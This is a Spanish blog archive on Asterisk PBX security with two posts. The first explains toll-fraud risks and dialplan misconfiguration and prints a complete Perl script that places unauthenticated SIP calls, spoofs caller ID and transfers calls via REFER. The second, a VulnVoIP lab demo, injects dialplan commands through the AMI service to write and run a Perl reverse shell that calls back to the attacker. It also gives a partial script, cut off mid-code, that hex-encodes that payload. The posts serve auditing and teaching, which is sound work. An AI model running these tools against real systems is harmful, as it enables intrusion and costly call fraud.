Archivo de la categoría: Asterisk

Analizando la seguridad de tu Asterisk

Si decides montar una centralita Asterisk (o derivado) lo primero que debes hacer es bloquear todos los accesos a la PBX desde Internet. Muchísima gente redirige en su router el puerto 5060/UDP para que todas las conexiones del exterior vayan a su centralita. Y esto es un grave error.

Cuando montamos una centralita de VoIP lo más normal hoy en día es contratar un SIP trunk con un operador, a través del cual enrutemos nuestras llamadas salientes; del mismo modo que nos entregue las llamadas entrantes que vayan destinadas a nuestro número geográfico.

En un Asterisk vamos a poder configurar esta conexión de dos formas diferentes, según el tipo de trunk que nos facilite el operador:

  • Validación por usuario: El operador configurará nuestro peer como host=dynamic y, en este caso nosotros abriremos la conexión hacia él. Configuraremos un timeout y pasado ese tiempo repetiremos el registro, de manera que mantengamos siempre viva la comunicación. En este caso y, ya que la conexión la hacemos nosotros, NO es necesario abrir ningún tipo de servicio al exterior.
  • Validación por IP: El operador configurará el peer con nuestra dirección IP (host=X.X.X.X), de manera que únicamente nosotros podremos comunicarnos con él, a través de ese peer. En este caso no hará falta un registro y sí que deberemos habilitar el puerto 5060/UDP de manera que todas las conexiones entrantes vayan a nuestra PBX. Pero ojo! deberemos crear una regla en el firewall de forma que únicamente la IP de nuestro operador pueda acceder.

Lo más común es que nuestro operador nos ofrezca un trunk con validación por usuario, a no ser que seamos un reseller y tengamos muchas cuentas de clientes, de manera que el operador únicamente se limite a desviar el tráfico hacia nuestra IP para que nosotros lo gestionemos. Pero en ese caso no sería una buena opción tener sólo un Asterisk y sería conveniente usar Kamailio, OpenSIPS u otro tipo de proxy SIP.

No sé si por desconicimiento, o porque realizando pruebas en las que no se consigue conectar el trunk, la gente finalmente termina abriendo el servicio SIP y redirigiendo todo el tráfico de VoIP hacia la centralita. Y esto, unido a una mala configuración nos puede traer graves problemas.

Dejando accesible nuestra centralita desde Internet seremos objeto de continuos escaneos y de ataques de fuerza bruta intentando obtener usuarios y contraseñas válidos que permitan realizar llamadas. No voy a entrar en detalle pero es de sobra conocido que los atancantes usan aplicaciones del tipo SIPVicious para estos fines. Una vez obtenida alguna cuenta, a llamar gratis a nuestra costa, lo cual nos puede dar un buen disgusto.

Aprovechando el script del que hablé hace unos años en http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/ y en http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/ lo he modificado para que, además de analizar si una centralita está mal configurada, permitiéndonos emitir llamadas sin necesidad de ningún tipo de autenticación, realice una transferencia a otro número. Es decir, si tenemos mal configurada una centralita, hará lo siguiente.

  • Realizará una llamada a un número de teléfono
  • Transferirá esa llamada a otro número
  • Finalmente se establecerá una comunicación entre ambos
  • Y todo ello sin la necesidad de tener ninguna cuenta de usuario en el sistema

Antes de continuar, he de decir que este estudio lo he realizado debido a la cantidad de intentos de llamada que recibo en mis máquinas. Hace unos meses publiqué un post http://blog.pepelux.org/2014/09/23/sending-fake-auth-for-device-xxx/ del que hablaba sobre el típico mensaje que aparece en nuestro Asterisk: Sending fake auth rejection for device que nos alerta de un intento de llamada pero que no identifica la IP del atacante, lo que hace complicado el bloqueo de dicha IP. En el post puse cómo modificar el código fuente del Asterisk para poder visualizar la IP y añadirla a nuestro firewall.

¿Y de dónde procede este tipo de ataques? Si usamos un honeypot y monitorizamos el tráfico, podemos ver que la gran mayoría (por no decir todos) los mensajes que llegan tienen como UserAgent sipcli/v1.8 (o la versión y release correspondiente). Buscando En Internet vemos que se trata de una aplicación de la empresa KaplanSoft y que podemos descargar aquí: http://www.kaplansoft.com/sipcli/

Este software no es una aplicación para auditoría de seguridad ni para nada relacionado con el hacking sino que se trata de un Predictive Dialer, es decir, un software que emite llamadas de forma automática con la finalidad de enviarlas a un agente en caso de ser respondidas. Sería algo así:

  • Se lanza la aplicación con diferentes números a llamar, contra nuestra centralita y, normalmente con una validación por user/pass
  • Al descolgar una llamada se desvía a un agente, que nos venderá algún tipo de seguro o de enciclopedia

Pero usado de forma fraudulenta, puede servir para emitir llamadas a dos destinos diferentes y ponerlos en comunicación.

Si analizamos el caso de que alguien nos robe una cuenta de usuario y emita llamadas a cualquier país, vamos a tener una pua considerable, pero si alguien emite dos llamadas usando este programa, la pua será del doble. Veamos un caso:

  • Emisión de una llamada a un móvil de Senagal
  • Emisión de una llamada a un móvil de Turquía
  • Transferencia de llamada entre ambas
  • Resultado: el coste de 2 llamadas a móviles internacionales

Como este software es de pago y además, para Windows, decidí modificar un poco mi script en perl para hacer algo similar, y de paso que me ayudara a comprender la dinámica. El script los podéis encontrar al final del post, por si deseáis probar la seguridad de vuestra centralita.

Supongo que surgiran ciertas dudas con respecto a este tipo de ataques …

¿Cómo es posible emitir una llamada desde un script?, ¿no se necesitan dos teléfonos para poder establecer uan comunicación?
Evidentemente, enviando un INVITE desde un script de consola no vamos a poder establecer una comunicación. Pero sí que podremos hacer sonar uno de los teléfonos y verificar que la centralita está mal configurada y es vulnerable.

¿Cómo puedo hacer una transferencia de llamada desde un script?, ¿esto no se hace pulsando el botón TRANSFER de mi teléfono?
Recordemos que en la VoIP todo funciona con una cominicación de paquetes o mensajes. Nosotros (nuestra centralita o nuestro dispositivo) enviamos los comandos identificando lo que deseamos hacer. Al igual que enviamos un INVITE para solicitar una llamada, podemos enviar un REFER para solicitar una transferencia.

Recordemos cómo sería una petición de llamada (sin autenticación):SIPtoSIPCallFlow

  • El usuario envía, a través de su terminal, un mensaje INVITE con un número de destino
  • El servidor le responde con un 100 TRYING diciendo que lo está intentando
  • Si la llamada sigue su curso, nos devolverá un 180 RINGING, que quiere decir que está a la espera de que el destino conteste la llamada
  • Tras contestar, nos mandará un 200 OK indicando que se ha establecido la comunicación
  • Comenzaremos a hablar con el otro interlocutor
  • Uno de los dos extremos colgará y se mandará un BYE indicando que la comunicación ha finalizado

Veamos cómo hacer una llamada con el script:

pepelux@debian:~$ perl sipinvite.pl

Usage: sipinvite.pl -h <host> -d <dst_number> [options]

== Options ==
-d <integer> = Destination number
-u <string> = Username to authenticate
-p <string> = Password to authenticate
-s <integer> = Source number (CallerID) (default: 100)
-r <integer> = Remote port (default: 5060)
-t <integer> = Transfer call to another number
-ip <string> = Source IP (by default it is the same as host)
-v = Verbose (trace information)

== Examples ==
$sipinvite.pl -h 192.168.0.1 -d 100
$sipinvite.pl -h 192.168.0.1 -u sipuser -p supersecret -d 100 -r 5080
$sipinvite.pl -h 192.168.0.1 -s 200 -d 555555555 -v
$sipinvite.pl -h 192.168.0.1 -d 555555555 -t 666666666
$sipinvite.pl -h 192.168.0.1 -d 100 -ip 1.2.3.4

Probamos a hacer una llamada, sin poner ningún tipo de autenticación, y vemos que los mensajes que devuelve son los esperados, primero un Trying, un Ringing y un OK … y me tendréis que creer si os digo que mi teléfono sonó 🙂

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 100 Trying
[-] 180 Ringing
[-] 200 OK

Es más, si el operador permite prefijar el identificador de llamada (CallerID) que queramos, podemos incluso forzarlo y nos aparecerá en nuestro teléfono como que nos llama otra persona:

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX -s 666666666
[+] Sending INVITE 100 => 675XXXXXX
[-] 100 Trying
[-] 180 Ringing
[-] 200 OK

Y ahora vamos a la parte más interesante. Si echamos un vistazo al mensaje REFER vemos que nos permite realizar transferencias de llamadas, atendidas o no atendidas. En este caso lo que nos interes es un transferencia no atendida. Y el callfow sería similar al siguiente:

 

refer

 

  • Enviaremos un mensaje INVITE con un número de destino
  • El servidor le responde con un 100 TRYING, un 180 RINGING y un 200 OK, al igual que antes
  • Enviaremos un mensaje REFER indicando que queremos transferir la llamada a otro número
  • El servidor nos mandará un 200 OK y emitirá un segundo INVITE hacia el otro teléfono

Y esto dese el script quedaría así:

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX -t 666XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 100 Trying
[-] 180 Ringing
[-] 200 OK
[+] Sending ACK
[-] 200 OK
[+] Sending REFER 100 => 666XXXXXX
[-] 202 Accepted

Es decir, se realiza la llamada al primer número y tras descolgar le decimos al servidor que transfiera su llamada al segundo número:

  • Pedimos al servidor que llame desde la extensión 100 al 675XXXXXX
  • Luego le pedimos que transfiera la 100 al 666XXXXXX
  • Finalmente quedamos en comunicación los dos móviles

Ahora imaginaros que el que ha accedido es un atacante que quiere comunicar dos móviles de cualquier país, usando para ello 2 canales. Y que tenemos configurados 20 canales en ese peer, permitiéndole hacer, de forma simultánea, 10 llamadas dobles. Imaginad en unas pocas horas el gasto que nos puede generar.

Como detalle diré que para dejar la centralita vulnerable, lo único que hice fue poner un contexto default erróneo en extensions.conf:

[phones]
exten => 100,1,Dial(SIP/100,30)
include => outcoming

[outcoming]
exten => _X.,1,Dial(SIP/trunk/${EXTEN},30)

[default]
include => phones

Como se puede apreciar, el contexto default, que es a donde van las llamadas entrantes, o no identificadas en cualquier otro contexto, tiene acceso a outcoming, ya que incluye phones y este a su vez incluye outcoming.

Lo correcto sería algo así:

[phones]
include => incoming
include => outcoming

[incoming]
exten => 100,1,Dial(SIP/100,30)

[outcoming]
exten => _X.,1,Dial(SIP/trunk/${EXTEN},30)

[default]
include => incoming

Con el contexto default bien configurado no nos dejaría llamar, como se puede apreciar:

$ perl sipinvite.pl -h 185.XX.YY.XX -d 675XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 404 Not Found

Aún en el caso de que tengamos mal configurados nuestros contextos, si tuviéramos la directiva allowguest=no en nuestro sip.conf, nos pediría una autenticación de usuario impidiéndonos llamar si no nos validamos antes. Algo así:

$ perl sipinvite.pl -h 185.XX.YY.ZZ -d 675XXXXXX
[+] Sending INVITE 100 => 675XXXXXX
[-] 401 Unauthorized

Pero recordemos que esta directiva viene por defecto a yes y somos nosotros los responsables de desactivarla si no le vamos a dar uso.

Y aquí está el script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.2
# -=-=-=-=-=-=-=
#
# Pepelux <pepeluxx@gmail.com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $useragent = 'pplsip';

my $host = '';	# host
my $dport = '';	# destination port
my $from = '';	# source number
my $to = '';	# destination number
my $refer = '';	# refer number
my $v = 0;	# verbose mode
my $user = '';	# auth user
my $pass = '';	# auth pass

my $realm = '';
my $nonce = '';
my $response = '';
my $digest = '';

my $to_ip = '';
my $from_ip = '';

sub init() {
	# check params
	my $result = GetOptions ("h=s" => \$host,
				"u=s" => \$user,
				"p=s" => \$pass,
				"d=s" => \$to,
				"s=s" => \$from,
				"ip=s" => \$from_ip,
				"r=s" => \$dport,
				"t=s" => \$refer,
				"v+" => \$v);

	help() if ($host eq "" || $to eq "");

	$dport = "5060" if ($dport eq "");
	$user = "100" if ($user eq "");
	$from = $user if ($from eq "");

	$to_ip = inet_ntoa(inet_aton($host));
	$from_ip = $to_ip if ($from_ip eq "");

	my $callid = &generate_random_string(32, 1);
	my $sc = new IO::Socket::INET->new(PeerPort=>$dport, Proto=>'udp', PeerAddr=>$to_ip, Timeout => 10);
	my $lport = $sc->sockport();

	# first INVITE
	my $csec = 1;
	my $res = send_invite($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user);

	# Authentication
	if (($res =~ /^401/ || $res =~ /^407/) && $user ne '' && $pass ne '') {
		$csec++;
		my $uri = "sip:$to\@$to_ip";
		my $a = md5_hex($user.':'.$realm.':'.$pass);
		my $b = md5_hex('INVITE:'.$uri);
		my $r = md5_hex($a.':'.$nonce.':'.$b);
		$digest = "username=\"$user\", realm=\"$realm\", nonce=\"$nonce\", uri=\"$uri\", response=\"$r\", algorithm=MD5";

		$res = send_invite($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user);
	}

	# Transfer call
	if ($res =~ /^200/ && $refer ne "") {
		$csec++;
		$res = send_ack($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec);
		$csec++;
		$res = send_refer($sc, $from_ip, $to_ip, $lport, $dport, $from, $to, $digest, $callid, $csec, $user, $refer);
	}

	exit;
}

# Send INVITE message
sub send_invite {
	my $sc = shift;
	my $from_ip = shift;
	my $to_ip = shift;
	my $lport = shift;
	my $dport = shift;
	my $from = shift;
	my $to = shift;
	my $digest = shift;
	my $callid = shift;
	my $cseq = shift;
	my $user = shift;

	my $branch = &generate_random_string(71, 0);

	my $msg = "INVITE sip:".$to."@".$to_ip." SIP/2.0\n";
	$msg .= "To: $to <sip:".$to."@".$to_ip.">\n";
	$msg .= "From: $from <sip:".$user."@".$from_ip.">;tag=0c26cd11\n";
	$msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n";
	$msg .= "Call-ID: ".$callid."\n";
	$msg .= "CSeq: $cseq INVITE\n";
	$msg .= "Contact: <sip:".$to."@".$to_ip.":$lport>\n";
	$msg .= "Authorization: Digest $digest\n" if ($digest ne "");
	$msg .= "User-Agent: $useragent\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n";
	$msg .= "Content-Type: application/sdp\n";

	my $sdp .= "v=0\n";
	$sdp .= "o=anonymous 1312841870 1312841870 IN IP4 $to_ip\n";
	$sdp .= "s=session\n";
	$sdp .= "c=IN IP4 $from_ip\n";
	$sdp .= "t=0 0\n";
	$sdp .= "m=audio 2362 RTP/AVP 0\n";
	$sdp .= "a=rtpmap:18 G729/8000\n";
	$sdp .= "a=rtpmap:0 PCMU/8000\n";
	$sdp .= "a=rtpmap:8 PCMA/8000\n";
	$sdp .= "a=rtpmap:101 telephone-event/8000\n\n";

	$msg .= "Content-Length: ".length($sdp)."\n\n";
	$msg .= $sdp;

	print $sc $msg;

	if ($v eq 0) { print "[+] Sending INVITE $from => $to\n"; }
	else { print "Sending:\n=======\n$msg"; }

	my $data = "";
	my $response = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /^SIP\/2.0/ && $response eq "") {
				$line =~ /^SIP\/2.0\s(.+)\r\n/;

				if ($1) { $response = $1; }
			}

			if ($line =~ /^WWW-Authenticate:/) {
				$line =~ /^WWW-Authenticate:\sDigest\salgorithm=(.+),\srealm=\"(.+)\",\snonce=\"(.+)\"\r\n/;
				$realm = $2 if ($2);
				$nonce = $3 if ($3);
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				if ($v eq 0) { print "[-] $response\n"; }
				else { print "Receiving:\n=========\n$data"; }

				last LOOP if ($response !~ /^1/);

				$data = "";
				$response = "";
			}
		}
	}

	return $response;
}

# Send ACK message
sub send_ack {
	my $sc = shift;
	my $from_ip = shift;
	my $to_ip = shift;
	my $lport = shift;
	my $dport = shift;
	my $from = shift;
	my $to = shift;
	my $digest = shift;
	my $callid = shift;
	my $cseq = shift;

	my $branch = &generate_random_string(71, 0);

	my $msg = "ACK sip:".$to."@".$to_ip." SIP/2.0\n";
	$msg .= "To: $to <sip:".$to."@".$to_ip.">\n";
	$msg .= "From: $from <sip:".$from."@".$from_ip.">;tag=0c26cd11\n";
	$msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n";
	$msg .= "Call-ID: ".$callid."\n";
	$msg .= "CSeq: $cseq ACK\n";
	$msg .= "Contact: <sip:".$to."@".$to_ip.":$lport>\n";
	$msg .= "Authorization: Digest $digest\n" if ($digest ne "");
	$msg .= "User-Agent: $useragent\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n";
	$msg .= "Content-Length: 0\n\n";

	print $sc $msg;

	if ($v eq 0) { print "[+] Sending ACK\n"; }
	else { print "Sending:\n=======\n$msg"; }

	my $data = "";
	my $response = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /^SIP\/2.0/ && $response eq "") {
				$line =~ /^SIP\/2.0\s(.+)\r\n/;

				if ($1) { $response = $1; }
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				if ($v eq 0) { print "[-] $response\n"; }
				else { print "Receiving:\n=========\n$data"; }

				last LOOP if ($response !~ /^1/);

				$data = "";
				$response = "";
			}
		}
	}

	return $response;
}

# Send REFER message
sub send_refer {
	my $sc = shift;
	my $from_ip = shift;
	my $to_ip = shift;
	my $lport = shift;
	my $dport = shift;
	my $from = shift;
	my $to = shift;
	my $digest = shift;
	my $callid = shift;
	my $cseq = shift;
	my $user = shift;
	my $referto = shift;

	my $branch = &generate_random_string(71, 0);

	my $msg = "REFER sip:".$to."@".$to_ip." SIP/2.0\n";
	$msg .= "To: $to <sip:".$to."@".$to_ip.">\n";
	$msg .= "From: $user <sip:".$user."@".$to_ip.">;tag=0c26cd11\n";
	$msg .= "Via: SIP/2.0/UDP $to_ip:$lport;branch=$branch;rport\n";
	$msg .= "Call-ID: ".$callid."\n";
	$msg .= "CSeq: $cseq REFER\n";
	$msg .= "Contact: <sip:".$user."@".$from_ip.":$lport>\n";
	$msg .= "Authorization: Digest $digest\n" if ($digest ne "");
	$msg .= "User-Agent: $useragent\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "Allow: INVITE, ACK, CANCEL, BYE, REFER\n";
	$msg .= "Refer-To: <sip:".$referto."@".$to_ip.">\n";
	$msg .= "Referred-By: <sip:".$user."@".$from_ip.":$lport>\n";
	$msg .= "Content-Length: 0\n\n";

	print $sc $msg;

	if ($v eq 0) { print "[+] Sending REFER $from => $refer\n"; }
	else { print "Sending:\n=======\n$msg"; }

	my $data = "";
	my $response = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /^SIP\/2.0/ && $response eq "") {
				$line =~ /^SIP\/2.0\s(.+)\r\n/;

				if ($1) { $response = $1; }
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				if ($v eq 0) { print "[-] $response\n"; }
				else { print "Receiving:\n=========\n$data"; }

				last LOOP if ($response !~ /^1/);

				$data = "";
				$response = "";
			}
		}
	}

	return $response;
}

# Generate a random string
sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}

	my $random_string;

	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}

	return $random_string;
}

sub help {
    print qq{
SipINVITE v1.2 - by Pepelux <pepeluxx\@gmail.com>
--------------

Usage: perl $0 -h <host> -d <dst_number> [options]
 
== Options ==
-d  <integer>    = Destination number
-u  <string>     = Username to authenticate
-p  <string>     = Password to authenticate
-s  <integer>    = Source number (CallerID) (default: 100)
-r  <integer>    = Remote port (default: 5060)
-t  <integer>    = Transfer call to another number
-ip <string>     = Source IP (by default it is the same as host)
-v               = Verbose (trace information)
 
== Examples ==
\$perl $0 -h 192.168.0.1 -d 100
\$perl $0 -h 192.168.0.1 -u sipuser -p supersecret -d 100 -r 5080
\$perl $0 -h 192.168.0.1 -s 200 -d 555555555 -v
\$perl $0 -h 192.168.0.1 -d 555555555 -t 666666666
\$perl $0 -h 192.168.0.1 -d 100 -ip 1.2.3.4

};

    exit 1;
}

init();

 

Saludos

Jugando con VulnVoIP

El otro día impartí una clase en el Curso de Seguridad Informática y Ciberdefensa de Criptored (http://www.criptored.upm.es/formacion/ciberdefensa/TemarioCursoCiberdefensa3.pdf) por tercer año consecutivo y, esta vez, por hacer la clase un poco más amena, decidí realizar una demo sobre un ataque a un máquina vulnerable. Escogí para ello Vulnvoip que podéis descargar aquí: http://www.rebootuser.com/?page_id=1739 y donde podéis seguir una guía de cómo explotarla aquí: http://www.rebootuser.com/?p=1117

Concretamente la máquina es una FreePBX con una versión de Asterisk bastante antigua y con más agujeros que un queso gruyer. Si echáis un ojo al ‘solucionario’ de rebootuser podéis ver cómo usando SipVicious es muy sencillo enumerar las extensiones e incluso crackear las cuentas. Además, vemos que tiene el servicio AMI o Manager abierto y con las contraseñas por defecto, e incluso con permisos para ejecutar comandos de Asterisk remotamente. Pero lo que ya no me gustó mucho es la forma de obtener acceso al sistema según el solucionario, pues se basa en un bug que posee esa versión concreta de FreePBX y es muy probable que en otras versiones ya no tengamos tanta suerte. Sin embargo, algo que parece que se ha pasado por alto es la posibilidad de acceder al sistema mediante la inyección y ejecución de un plan de llamadas o dialplan y realizando una simple llamada telefónica para ejecutarlo. Algo muy similar a lo que comenté en mi charla de la Rooted del 2013 (https://www.youtube.com/watch?v=0bM0pe8C55Q) pero en lugar de realizar la inyección desde la web, la podemos realizar usando el AMI, o servicio Manager, también conocido como servicio Click2Call.

Revisando un poco la forma de explotar el servicio Manager vemos que, con un telnet al puerto 5038 de la máquina:

Servicio AMI

 

Como se puede apreciar, el usuario y contraseña son los que vienen por defecto en una FreePBX y además tenemos permiso para ejecutar comandos. Tal y como se muestra en la web de Rebootuser, podemos usar el comando ‘sip show users’ para ver el listado de usuarios con sus contraseñas, previa autenticación.

Como venía diciendo, podemos, mediante comandos de consola de Asterisk, ejecutar comandos System que nos permitan interactuar con el Sistema Operativo. Veamos un ejemplo sencillo:

Captura de pantalla 2014-10-29 a las 19.23.58

Lo que hemos hecho es crear un plan de llamadas para la extensión 999, que no existe en el sistema,y que al ejecutarse escriba un fichero en disco, en una parte accesible desde la web.

Si echamos un vistazo al plan de llamadas vemos que se ha creado correctamente:

 

 

 

Captura de pantalla 2014-10-29 a las 19.24.28

Una vez creado el plan de llamadas, lo que hacemos es ejecutarlo mediante una llamada telefónica a esa extensión, y usando por ejemplo el softphone Zoiper:

 

 

Captura de pantalla 2014-10-29 a las 19.24.41

Tras la llamada, si accedemos vía web, veremos que el fichero se ha creado en el sistema:

Captura de pantalla 2014-10-29 a las 19.25.11

 

Al igual que hice en la charla de la Rooted, vamos a intentar crear un fichero que contenga una shell remota, de forma que tras la llamada, tengamos esa shell grabada en algún lugar del disco. Luego crearemos un segundo plan de llamadas que invoque a esa shell y nos abra una conexión remota contra nuestra máquina. Inyectaremos algo así:

dialplan add extension EXT,1,answer, into ext-local
dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,9,hangup, into ext-local

Tras la inyección, una llamada al 999 y tendremos el fichero almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas:

dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"perl /tmp/s.pl" into ext-local
dialplan add extension 999,3,hangup, into ext-local

Y antes de la segunda llamada, dejaremos en nuestra máquina un netcat a la escucha:


$ netcat -l -p 31337

Como es un poco engorroso ir creando línea a línea con un telnet al puerto del AMI, qué mejor que programar un pequeño script que nos facilite la tarea:

#!/usr/bin/perl -w
# -=-=-=-=-=-=-=-=-
# Asterisk AMI v1.0
# -=-=-=-=-=-=-=-=-
#
# Pepelux <pepelux[at]gmail[dot]com>
use warnings;
use strict;
use Getopt::Long;
use Asterisk::AMI;
use Data::Dumper;
my $host = ''; # host
my $port = ''; # port
my $user = ''; # user
my $pass = ''; # pass
my $cmd = '';  # command
my $cs = 0;    # create shell
my $es = 0;    # execute shell
my $ip = ''; # my local IP
my $rport = ''; # my local port for netcat
my $exten = '999';
#my $context = 'internal';
my $context = 'pbx14';
sub init() {
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
# check params
my $result = GetOptions ("h=s" => \$host,
                        "u=s" => \$user,
                        "s=s" => \$pass,
                        "c=s" => \$cmd,
                        "cs+" => \$cs,
                        "es+" => \$es,
                        "ip=s" => \$ip,
                        "rp=s" => \$rport,
                        "p=s" => \$port);
 help() if ($host eq "" || $user eq "" || $pass eq "");
 help() if ($cmd eq "" && $cs eq 0 && $es eq 0);
 help() if ($cs eq 1 && $ip eq "");
 $port = "5038" if ($port eq "");
 $rport = "31337" if ($rport eq "");
 ami_call();
exit;
 ami_cmd($cmd) if ($cmd ne "");
 ami_cs($ip, $rport) if ($cs eq 1);
 ami_es() if ($es eq 1);
exit;
}
sub ami_call {
# my $src = shift;
# my $dst = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'originate',
# Channel => 'LOCAL/204@'.$context,
 Channel => 'LOCAL/204@'.$context,
 Priority => '1',
 WaitTime => '15',
 Exten => '675558423',
 Callerid => 'pepe',
 Context => $context
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cmd {
my $cmd = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'command',
 Command => $cmd
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_es {
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"perl /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cs {
my $ip = shift;
my $rport = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
# my $echo = "echo -e";
my $echo = "echo";
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"$echo '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,system,\"$echo '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd4 = "dialplan add extension $exten,4,system,\"$echo '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$rport\\\\x2c' >> /tmp/s.pl\" into $context";
my $cmd5 = "dialplan add extension $exten,5,system,\"$echo '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
